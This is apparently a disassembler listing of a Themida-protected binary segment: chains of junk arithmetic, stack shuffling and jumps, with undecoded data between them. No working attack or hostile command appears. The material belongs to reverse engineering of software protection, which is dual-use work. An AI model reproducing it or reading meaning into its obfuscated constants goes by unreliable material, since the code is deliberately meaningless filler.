		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		dd 0C03BF780h, 0CFFE03EFh, 81CEEF80h, 4ECh, 24048900h
		dd 0E288FC88h, 0A2F0E958h, 895CFFFFh, 4B82404h,	1000000h
		dd 97AFE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E50E:				; CODE XREF: Themida_:00603F1Cj
		add	esp, 4
		push	ebp
		mov	eax, [esp]
		jmp	loc_60AC2A
; ---------------------------------------------------------------------------


loc_60E51A:				; CODE XREF: Themida_:00608997j
		mov	edx, [esp]
		jmp	loc_60C966
; ---------------------------------------------------------------------------


loc_60E522:				; CODE XREF: Themida_:0060F209j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	eax
		mov	[edi+20h], ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	22FF77F5h
		pop	eax
		inc	eax
		push	ebp
		mov	ebp, 7CDF7B1Eh
		or	eax, ebp
		pop	ebp
		and	eax, 62332138h
		sub	eax, 62332114h
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_60E3C8
; ---------------------------------------------------------------------------


loc_60E575:				; CODE XREF: Themida_:00606CD0j
		push	edx
		mov	edx, 4
		jmp	loc_60DFC0
; ---------------------------------------------------------------------------


loc_60E580:				; CODE XREF: Themida_:0060BE0Ej
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esi
		add	dword ptr [esp], 1F967F75h
		pop	eax
		sub	eax, 1F967F75h
		pop	esi
		push	0B54h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 2000h
		jmp	loc_60470F
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 0E9h
		dd 0FFFF681Ah, 0E92434FFh, 0AEEh
; ---------------------------------------------------------------------------


loc_60E5D0:				; CODE XREF: Themida_:0060E609j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_60AA4E
; ---------------------------------------------------------------------------


loc_60E5DE:				; CODE XREF: Themida_:0060927Fj
		xor	ecx, 46C7692Bh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_60F1CB
; ---------------------------------------------------------------------------
		dd 8B66C331h, 89E92414h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E5FF:				; CODE XREF: Themida_:00609FB0j
		shl	eax, 2
		jmp	loc_604D7C
; ---------------------------------------------------------------------------


loc_60E607:				; CODE XREF: Themida_:0060CB03j
		mov	ebp, esp
		jmp	loc_60E5D0
; ---------------------------------------------------------------------------


loc_60E60E:				; CODE XREF: Themida_:006063A6j
		sub	esp, 4
		jmp	loc_60A1BA
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF5BE0h, 405E089h, 2D000000h, 4, 5C240487h, 52243489h
		dd 0A56FDD68h, 6690E970h, 0FF56FFFFh, 0E9042474h, 0FFFFACDDh
		dd 5C240487h, 7EEC166h,	4E664E66h, 137968h, 242C8900h
		dd 72B96651h, 0CD89664Bh, 0A6A5E959h, 401FFFFh,	0BC39E924h
		dd 285AFFFFh, 0C8B66C8h, 4EC8324h, 89241489h, 4C281E2h
		dd 56000000h, 2BEh, 77B95100h, 0E94B4C14h, 0FFFFA163h
		dd 582434FFh, 776AE953h, 0E3C1FFFFh, 0F2C38102h, 81C16B72h
		dd 434B2BC6h, 0E9DE0107h, 0FFFFC237h, 6856C330h, 130C733Fh
		dd 2EEC15Eh, 5046BF57h,	0E78158DDh, 60E93A9Ch, 50DFE781h
		dd 52551C30h, 0EC0D14BAh, 6600BD7Ch, 0D52995BEh, 0FF6832E9h
		dd 34895CFFh, 4BE24h, 46E90000h, 5FFFFB9h, 4, 8904EC83h
		dd 1FE9241Ch, 31FFFFF8h, 4BD3E9C2h, 8158FFFFh, 31E2242Ch
		dd 4FE96087h, 66FFFFFFh, 5624048Bh, 2D8A68h, 24248900h
		dd 4240483h, 0BFB8505Eh, 356F931Fh, 6F931FBBh, 5058C601h
		dd 4B8h, 58C62900h, 31243433h, 34332434h, 0BB6BE924h, 0D131FFFFh
		dd 59CD015Ah, 0E9242C87h, 0FFFF7ED7h, 24048F5Bh, 2404895Ch
		dd 405E089h, 0E9000000h, 0FFFF7953h, 0E9242C8Bh, 0FFFFA35Ah
		dd 4EC81h, 3C890000h, 9A68E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E786:				; CODE XREF: Themida_:00604EB2j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_607744
; ---------------------------------------------------------------------------
		dd 6372C9BDh, 5DE82105h, 6828B951h, 0F1810245h,	15C22138h
		dd 1A7DF181h, 0C8017BE9h, 3BBE5659h, 3149D720h,	8C40E9F0h
		dd 8357FFFFh, 0BDE904ECh, 53FFFFD0h, 0B0E95156h, 0BEFFFF90h
		dd 59935E93h, 5E8FEE81h, 0F1015993h, 4BB535Eh, 29000000h
		dd 0D8FBE9D9h, 0E189FFFFh, 4C181h, 0C1810000h, 4, 5C240C87h
		dd 0E9240C8Bh, 0FFFFCAAAh, 0E95BDD88h, 0FFFFC75Ch, 0E903E9C1h
		dd 83Dh
; ---------------------------------------------------------------------------


loc_60E814:				; CODE XREF: Themida_:00604FF2j
		push	edx
		mov	edx, 417B5F11h
		sub	[esp+4], edx
		pop	edx
		pop	ecx
		add	ecx, 417B5F11h
		pop	edx
		push	ebp
		jmp	loc_6097B8
; ---------------------------------------------------------------------------
		db 0B1h, 31h, 0FEh
		dd 0DDE980C9h, 52DE9h
		db 0
; ---------------------------------------------------------------------------


loc_60E839:				; CODE XREF: Themida_:006042B1j
		sub	ebx, 2EBA750Bh
		xor	ebx, 64611233h
		inc	ebx
		jmp	loc_60C338
; ---------------------------------------------------------------------------


loc_60E84B:				; CODE XREF: Themida_:0060DE4Ej
		push	ebx
		mov	ebx, esp
		jmp	loc_606238
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B6E92434h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E85B:				; CODE XREF: Themida_:00608EE9j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_606BD8
; ---------------------------------------------------------------------------


loc_60E86E:				; CODE XREF: Themida_:0060A8B1j
		add	dword ptr [esp+4], 55E819DCh
		add	[esp+4], ebp
		jmp	loc_609B00
; ---------------------------------------------------------------------------


loc_60E87F:				; CODE XREF: Themida_:006063E1j
		and	edx, 252612B7h
		add	edx, 1
		or	edx, 75D1F88h
		shr	edx, 6
		push	eax
		mov	eax, 68E44A91h
		xor	edx, eax
		pop	eax
		add	ebx, edx
		jmp	loc_60AD0E
; ---------------------------------------------------------------------------


loc_60E8A1:				; CODE XREF: Themida_:00606A57j
		mov	ebx, esp
		jmp	loc_60E149
; ---------------------------------------------------------------------------


loc_60E8A8:				; CODE XREF: Themida_:0060985Dj
		push	35F9h
		mov	[esp], ebx
		mov	ebx, 452F2C66h
		jmp	loc_60A81A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 7F2627E4h, 83242C8Bh, 65E904C4h, 8B000002h, 0C3302424h
		dd 66C0B60Fh, 5624148Bh, 0FFBAF3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60E8DD:				; CODE XREF: Themida_:006075DAj
		push	5EA5h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_6040D5
; ---------------------------------------------------------------------------
		db 66h
		dd 0CC28E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E8F6:				; CODE XREF: Themida_:0060459Fj
		push	ebx
		mov	bl, cl
		mov	al, bl
		jmp	loc_605562
; ---------------------------------------------------------------------------
		dd 405E089h, 5000000h, 4, 5C240487h, 0E940045Ah, 0FFFF7D69h
		dd 3F7868h, 240C8900h, 15BE5657h, 0BF72CE73h, 3B030ED4h
		dd 50A7E781h, 0F78167EBh, 9096B0C8h, 348BF729h,	4C48124h
		dd 0B9000000h, 40C73D38h, 3C8BF929h, 0E2895224h, 4C281h
		dd 1CE90000h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60E95B:				; CODE XREF: Themida_:0060939Aj
		pop	ecx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	al, bh
		pop	ebx
		xor	bl, al
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 28h
		push	edi
		mov	edi, 15F343E1h
		push	2D51h
		jmp	loc_607005
; ---------------------------------------------------------------------------


loc_60E995:				; CODE XREF: Themida_:006049B9j
		mov	ebx, 0
		jmp	loc_603D50
; ---------------------------------------------------------------------------


loc_60E99F:				; CODE XREF: Themida_:0060919Fj
		neg	edx
		xor	edx, 0D3C808D9h
		add	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		mov	edx, ebx
		pop	ebx
		xor	ebp, edx
		pop	edx
		and	ecx, ebp
		jmp	loc_606ED6
; ---------------------------------------------------------------------------


loc_60E9BA:				; CODE XREF: Themida_:00606130j
		pop	edx
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_60F0D0
; ---------------------------------------------------------------------------


loc_60E9C5:				; CODE XREF: Themida_:00607288j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_60D9A7
; ---------------------------------------------------------------------------


loc_60E9D3:				; CODE XREF: Themida_:00604C2Fj
		push	ecx
		push	eax
		mov	ah, 24h
		mov	ch, ah
		pop	eax
		jmp	loc_609A22
; ---------------------------------------------------------------------------


loc_60E9DF:				; CODE XREF: Themida_:00606DD0j
		mov	cl, 61h
		push	ecx
		mov	ch, 9Bh
		mov	dl, ch
		jmp	loc_60539F
; ---------------------------------------------------------------------------


loc_60E9EB:				; CODE XREF: Themida_:0060AF87j
		inc	bh
		inc	bh
		jmp	loc_60DA29
; ---------------------------------------------------------------------------
		dd 805CC480h, 0E62832EEh, 0FF61E0E9h, 0FF5559FFh, 8B042474h
		dd 0C481242Ch, 4, 5C24048Fh, 4EC81h, 0C890000h,	85E95024h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EA23:				; CODE XREF: Themida_:00609CFCj
		pop	eax
		jmp	loc_60F126
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 81E38953h, 4C3h, 6147E900h, 768FFFFh, 89000034h, 4812424h
		dd 424h, 4055800h, 52000000h, 0FFD36BE9h, 9D68ADFFh, 0E9000075h
		dd 0FFFFA6BBh, 665E665Ah, 0B70FC331h, 4EC83C0h,	0E9241489h
		dd 0FFFF57D2h
; ---------------------------------------------------------------------------


loc_60EA74:				; CODE XREF: Themida_:0060EC3Ej
		add	ebx, 4
		jmp	loc_60C6BC
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C89h, 0FFFF9688h
; ---------------------------------------------------------------------------


loc_60EA88:				; CODE XREF: Themida_:00606BC1j
		push	eax
		jmp	loc_60D788
; ---------------------------------------------------------------------------


loc_60EA8E:				; CODE XREF: Themida_:0060CAAAj
		or	eax, eax
		jz	loc_604ADA
		push	edx
		mov	edx, 1Ch
		add	edx, edi
		push	ebx
		jmp	loc_60B4BC
; ---------------------------------------------------------------------------


loc_60EAA4:				; CODE XREF: Themida_:006060BEj
		pop	edx
		add	ebp, 2
		jmp	loc_606E62
; ---------------------------------------------------------------------------
		dd 5083BD55h, 0B95140C6h, 264D23E5h, 0FFB064E9h, 2474FFFFh
		dd 0D6A9E904h, 77FFFFFFh, 59669D1Ch, 9C2414D2h,	0FF5A2FE9h
		dd 47FFE9FFh, 0C481FFFFh, 4, 5CB4C381h,	0ABE96103h, 89FFFF56h
		dd 53522404h, 0FF8272E9h, 48B66FFh, 76376824h, 68E90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EB07:				; CODE XREF: Themida_:0060E1D1j
		xchg	ebx, [esp]
		pop	esp
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 30C3AE7h
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_60D59E
; ---------------------------------------------------------------------------
		dd 0E9241487h, 0FFFFB755h, 8B2434FFh, 0C4812404h, 4, 399B68h
		dd 240C8900h, 0C181E189h, 4, 4C181h, 74E90000h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EB5F:				; CODE XREF: Themida_:006036D1j
		pop	edx
		push	ebx
		push	esp
		jmp	loc_6046E8
; ---------------------------------------------------------------------------


loc_60EB67:				; CODE XREF: Themida_:0060BA87j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_608659
; ---------------------------------------------------------------------------
		dw 1CF7h
		dd 4AE99C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EB93:				; CODE XREF: Themida_:0060D659j
		mov	eax, [esp]
		push	esi
		push	edx
		jmp	loc_607AB6
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0EF810000h, 715A78A1h, 0FFD479E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60EBAD:				; CODE XREF: Themida_:0060E391j
		dec	ecx
		neg	ecx
		dec	ecx
		xor	ecx, 3D801ACh
		mov	edi, ecx
		jmp	loc_60B0F4
; ---------------------------------------------------------------------------


loc_60EBBE:				; CODE XREF: Themida_:0060B43Cj
		add	edi, 4
		jmp	loc_605F77
; ---------------------------------------------------------------------------
		db 66h,	53h, 0B7h
		dd 0FEDFF6E7h, 5EF780CFh, 5B66FA30h, 148BD588h,	4C48324h
		dd 5231C580h, 99E943B2h, 83FFFF5Bh, 48704C0h, 24248B24h
		dd 67CFBD55h, 0F581792Ah, 36076B58h, 5AAEED81h,	2E978E9h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EC0B:				; CODE XREF: Themida_:006059C7j
		xor	ebp, 79273C6Bh
		dec	ebp
		jmp	loc_609092
; ---------------------------------------------------------------------------
		db 89h
		dd 80E92424h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EC1F:				; CODE XREF: Themida_:0060CB81j
		push	768Dh
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_60D294
; ---------------------------------------------------------------------------


loc_60EC2F:				; CODE XREF: Themida_:0060B731j
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_60EA74
; ---------------------------------------------------------------------------
		db 53h
		dd 653A56BBh, 0F7D3877Ah, 8337E9D2h, 0E95EFFFFh, 0FFFF51E7h
		dd 54241C89h, 0FFD46CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60EC61:				; CODE XREF: Themida_:0060A013j
		mov	dl, bh
		jmp	loc_6095F2
; ---------------------------------------------------------------------------
		dd 4C18159h, 50000000h,	0FF6F47E9h, 4EC81FFh, 89000000h
		dd 0BF572404h, 7F7F7F6Ah, 685FF889h, 12E3h, 0BB241C89h
		dd 633E7377h, 0B1BD554Bh, 0E9185A54h, 0FFFF98EFh, 1C8BD809h
		dd 4C48124h, 2D000000h,	1B984EC2h, 664B120Dh, 42354855h
		dd 5164050h, 9E58D881h,	958C389h, 1C8B1C5Fh, 0E3895324h
		dd 4C381h, 0C3830000h, 562BE904h, 8759FFFFh, 81D5F7CDh
		dd 4607C7F5h, 94CD810Fh, 8144D04Fh, 0D17FB2F5h,	8BE90156h
		dd 0AFE9242Ch, 8B000004h, 64042424h, 2EE9D028h,	66FFFF7Dh
		dd 665BBF68h, 0E9816659h, 0EC831403h, 5D87E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60ED1A:				; CODE XREF: Themida_:00607A15j
		pop	edx
		add	edx, 0F475FD3h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_606FE6
; ---------------------------------------------------------------------------


loc_60ED34:				; CODE XREF: Themida_:00606C95j
		add	ebx, ebp
		pop	ebp
		add	edx, 72FD3E8Bh
		add	edx, ebx
		push	eax
		push	ebp
		mov	ebp, 49195386h
		sub	ebp, 505B5063h
		sub	ebp, 85C0C498h
		mov	eax, ebp
		pop	ebp
		sub	edx, eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_6060F1
; ---------------------------------------------------------------------------
aFsK		db 'fS',0
		db 0D9h
		dd 78E95B66h, 4BFFFF96h, 0FFDBF9E9h, 0E9C601FFh, 0FFFFB2B3h
; ---------------------------------------------------------------------------


loc_60ED80:				; CODE XREF: Themida_:00608F6Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_60D736
; ---------------------------------------------------------------------------


loc_60ED94:				; CODE XREF: Themida_:0060D0B4j
		mov	esi, 31937109h
		mov	ebx, 31937109h
		jmp	loc_6039C7
; ---------------------------------------------------------------------------
		db 31h
		dd 0E8C15FF8h, 70C5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EDAE:				; CODE XREF: Themida_:0060DCFCj
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 86B5B256h
		and	ecx, 227B6747h
		dec	ecx
		neg	ecx
		neg	ecx
		sub	ecx, 9D2AF99Bh
		sub	ecx, 1
		shr	ecx, 1
		shr	ecx, 6
		neg	ecx
		xor	ecx, 0D1F299A9h
		jmp	loc_60CC51
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 0E9000000h, 0FFFF8694h, 64B2C181h, 0C181343Ch, 38AF717Fh
		dd 73F6B850h, 0C1014162h, 81C10158h, 6273F6E9h,	7FE98141h
		dd 8138AF71h, 3C64B2E9h, 0EBF8E934h, 0F181FFFFh, 12BD37D1h
		dd 0FFCE62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60EE21:				; CODE XREF: Themida_:0060D9D3j
		pop	ebx
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 43CF6B91h
		neg	eax
		add	eax, 0B54D9152h
		mov	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 6B5659Ch
		jmp	loc_60978C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 50000000h,	4B8h, 0E9F6E900h, 895CFFFFh, 62BF243Ch
		dd 15FBF12h, 0FF04247Ch, 3C8B2434h, 4C48324h, 0FFABACE9h
		dd 0B6E957FFh, 0F7FFFF47h, 4CF681D6h, 0E9E88C96h, 0FFFF917Ah
		dd 0C857562Dh, 51E8292Ch, 246E9h, 0E9F90100h, 0FFFF6157h
		dd 0E9241C89h, 0FFFF83DDh
; ---------------------------------------------------------------------------


loc_60EEB0:				; CODE XREF: Themida_:00603A82j
		push	eax
		jmp	loc_60651D
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFD195h, 5C24048Fh, 9C2424D3h, 0FF4414E9h, 6D86B9FFh
		dd 0CE01231Ah, 6F55E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EED6:				; CODE XREF: Themida_:0060BAD6j
		pop	edi
		mov	eax, ecx
		mov	ecx, [esp]
		push	ebx
		jmp	loc_6085E7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3BE92404h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60EEEB:				; CODE XREF: Themida_:0060DB38j
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_60D9BD
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4BD242Ch,	1000000h, 0CD86E9EAh, 0E1BDFFFFh
		dd 4537A03Dh, 2462C581h, 0EF016683h, 4FDFF75Dh,	0C104E7C1h
		dd 0E7C102EFh, 0ECF7E907h, 815DFFFFh, 4C5h, 83555100h
		dd 0C8904ECh, 37B8B924h, 3CBD6569h, 1114029h, 0EFD9E9CDh
		dd 0A72CFFFFh, 0FF9381E9h, 0E4C181FFh, 0E931A023h, 0FFFF5051h
; ---------------------------------------------------------------------------


loc_60EF6C:				; CODE XREF: Themida_:00603C0Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_605F8C
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFD31EE9h, 0FFF901FFh, 815F2434h, 4C4h, 240C3300h
		dd 33240C31h, 248B240Ch, 0E0895024h, 405h, 5C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60EFB6:				; CODE XREF: Themida_:00608F81j
		pop	edx
		add	esp, 4
		sub	eax, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	7171h
		mov	[esp], edi
		mov	edi, 2F910349h
		push	ecx
		jmp	loc_60839F
; ---------------------------------------------------------------------------


loc_60EFE6:				; CODE XREF: Themida_:006095F7j
		mov	ah, 0CDh
		jmp	loc_60955B
; ---------------------------------------------------------------------------


loc_60EFED:				; CODE XREF: Themida_:0060D7F4j
		xor	edx, 57C347EBh
		dec	edx
		push	esi
		mov	esi, 26043177h
		xor	edx, esi
		pop	esi
		or	esi, edx
		pop	edx
		sub	esi, 27E94D74h
		jmp	loc_60B42C
; ---------------------------------------------------------------------------
		db 30h
		dd 0C0B60FC3h, 87048F66h, 0FF42C4E9h, 2CCD04FFh, 0E95251D5h
		dd 0FFFFB3C0h, 0BB241C89h, 75F56605h, 0FF8020E9h, 0A6E981FFh
		dd 10AF46Ch, 0A6C181C1h, 0E90AF46Ch, 0FFFF768Fh
; ---------------------------------------------------------------------------


loc_60F044:				; CODE XREF: Themida_:0060A026j
		mov	edx, esp
		add	edx, 4
		jmp	loc_60F21E
; ---------------------------------------------------------------------------
		db 51h,	0F7h, 14h
		dd 0F1815924h, 0F2DA4F41h, 8159CA01h, 2C2h, 24143300h
		dd 33241431h, 53E92414h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F073:				; CODE XREF: Themida_:0060A8D7j
		sub	eax, esi
		pop	esi
		shl	eax, 5
		push	edi
		mov	edi, 7C934F8h
		jmp	loc_6035EE
; ---------------------------------------------------------------------------


loc_60F084:				; CODE XREF: Themida_:0060F305j
		push	ebp
		push	7607h
		mov	[esp], eax
		jmp	loc_60BAA4
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFF7970h, 240C8B66h, 0E9E68956h, 0FFFF476Fh, 0CD045966h
		dd 0FFAF6BE9h, 815966FFh, 4ECh,	24048900h, 471AE953h, 5658FFFFh
		dd 0FFC14CE9h, 0B5EA81FFh, 0E9703484h, 0FFFF7CABh
; ---------------------------------------------------------------------------


loc_60F0D0:				; CODE XREF: Themida_:0060E9C0j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_60F29F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1C4E7553h, 1DFDE981h, 0C801EF86h, 0D7E95D59h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F0FB:				; CODE XREF: Themida_:006097FFj
		push	1B7Dh
		jmp	loc_607446
; ---------------------------------------------------------------------------


loc_60F105:				; CODE XREF: Themida_:00603F4Ej
		add	[esp+4], edx
		jmp	loc_6066F6
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 48104C4h, 0C97F0024h, 41BFE92Fh, 0C8BFFFFh, 0BCEFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F126:				; CODE XREF: Themida_:0060EA24j
		mov	edx, [esp]
		add	esp, 4
		shr	bh, 7
		shl	bh, 1
		jmp	loc_604790
; ---------------------------------------------------------------------------


loc_60F139:				; CODE XREF: Themida_:0060D4CCj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_60AE1B
; ---------------------------------------------------------------------------
		dd 4B30F66h, 86E99C24h,	0B8FFFF41h, 747C6A21h, 0F7A59BBFh
		dd 58C729CDh, 6D6DF781h, 81575FCBh, 3E3D242Ch, 0E9584A08h
		dd 2FDh, 4C181h, 9FE90000h, 0BAFFFF95h,	53547F6Ch, 815AD729h
		dd 4617E9C7h, 0CCC78135h, 29046E62h, 0CCEF81C7h, 81046E62h
		dd 4617E9EFh, 4946E935h, 0E955FFFFh, 0FFFFD271h, 2A40EB81h
		dd 815D16A4h, 22E83EEBh, 0E9DE2986h, 0FFFF7760h
; ---------------------------------------------------------------------------


loc_60F1C4:				; CODE XREF: Themida_:006087E1j
		not	eax
		jmp	loc_6065EF
; ---------------------------------------------------------------------------


loc_60F1CB:				; CODE XREF: Themida_:0060E5EFj
		mov	edi, [esp]
		add	esp, 4
		shr	ebp, 6
		jmp	loc_603EB9
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0C3h
		dd 5A1A0304h, 5104C183h, 42474FFh, 24048F59h, 0E924248Bh
		dd 0FFFF40E9h
; ---------------------------------------------------------------------------


loc_60F1F4:				; CODE XREF: Themida_:0060A55Aj
		push	esp
		jmp	loc_60B43B
; ---------------------------------------------------------------------------


loc_60F1FA:				; CODE XREF: Themida_:0060CC6Fj
		mov	ecx, 996C9D1Eh
		xor	eax, ecx
		pop	ecx
		push	eax
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_60E522
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 2404875Dh, 243CD35Ch, 0D9D3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F21E:				; CODE XREF: Themida_:0060F04Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_60D9C5
; ---------------------------------------------------------------------------


loc_60F238:				; CODE XREF: Themida_:00606399j
		push	5B81h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_605063
; ---------------------------------------------------------------------------


loc_60F24A:				; CODE XREF: Themida_:00605862j
		add	ebp, 2B773586h
		or	ebp, 41C873A3h
		sub	ebp, 1C0C7FAEh
		not	ebp
		jmp	loc_604766
; ---------------------------------------------------------------------------
		db 33h
		dd 0D25C2404h, 0E99C2424h, 0FFFFB6D2h, 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 45140906h
		add	edx, 1
		sub	edx, 6C3E74D8h
		or	edx, 6CCD4BCAh
		jmp	loc_606EAF
; ---------------------------------------------------------------------------


loc_60F29F:				; CODE XREF: Themida_:0060F0E2j
		push	edx
		jmp	loc_60C4B4
; ---------------------------------------------------------------------------
		db 2 dup(5Ah), 30h
		dd 0C0B60FC3h, 24148B66h, 0FF6980E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60F2B5:				; CODE XREF: Themida_:00607A37j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_60C23B
; ---------------------------------------------------------------------------
aLHe		db '$$hE',0Ah,0
		align 4
		dd 51242C89h, 9D447268h, 0E1C1594Fh, 23E95707h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60F2DB:				; CODE XREF: Themida_:0060DFBBj
		pop	dword ptr [esp]
		jmp	loc_604FCC
; ---------------------------------------------------------------------------


loc_60F2E3:				; CODE XREF: Themida_:006078E5j
		xor	esi, 1ED523B9h
		jmp	loc_607B30
; ---------------------------------------------------------------------------
		dw 0C00Bh
		dd 0F622840Fh, 0EC83FFFFh, 24348904h, 0FF9BEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60F301:				; CODE XREF: Themida_:0060B404j
		mov	[esp], ebx
		pop	eax
		jmp	loc_60F084
; ---------------------------------------------------------------------------


loc_60F30A:				; CODE XREF: Themida_:00607C6Cj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_60C84A
; ---------------------------------------------------------------------------


loc_60F313:				; CODE XREF: Themida_:0060DC47j
		shl	eax, 7
		push	edx
		mov	edx, 63FB58D0h
		sub	edx, 0A61499EFh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, 79952BCAh
		not	ebx
		sub	ebx, 589F42EAh
		and	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_60DDEC
; ---------------------------------------------------------------------------


loc_60F363:				; CODE XREF: Themida_:0060C410j
		xor	esi, 28AC51B9h
		jmp	loc_6089E5
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 0EC81E689h, 4, 0E9240489h, 0FFFF91E0h
; ---------------------------------------------------------------------------


loc_60F384:				; CODE XREF: Themida_:006040FFj
		xchg	edi, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_6032DD
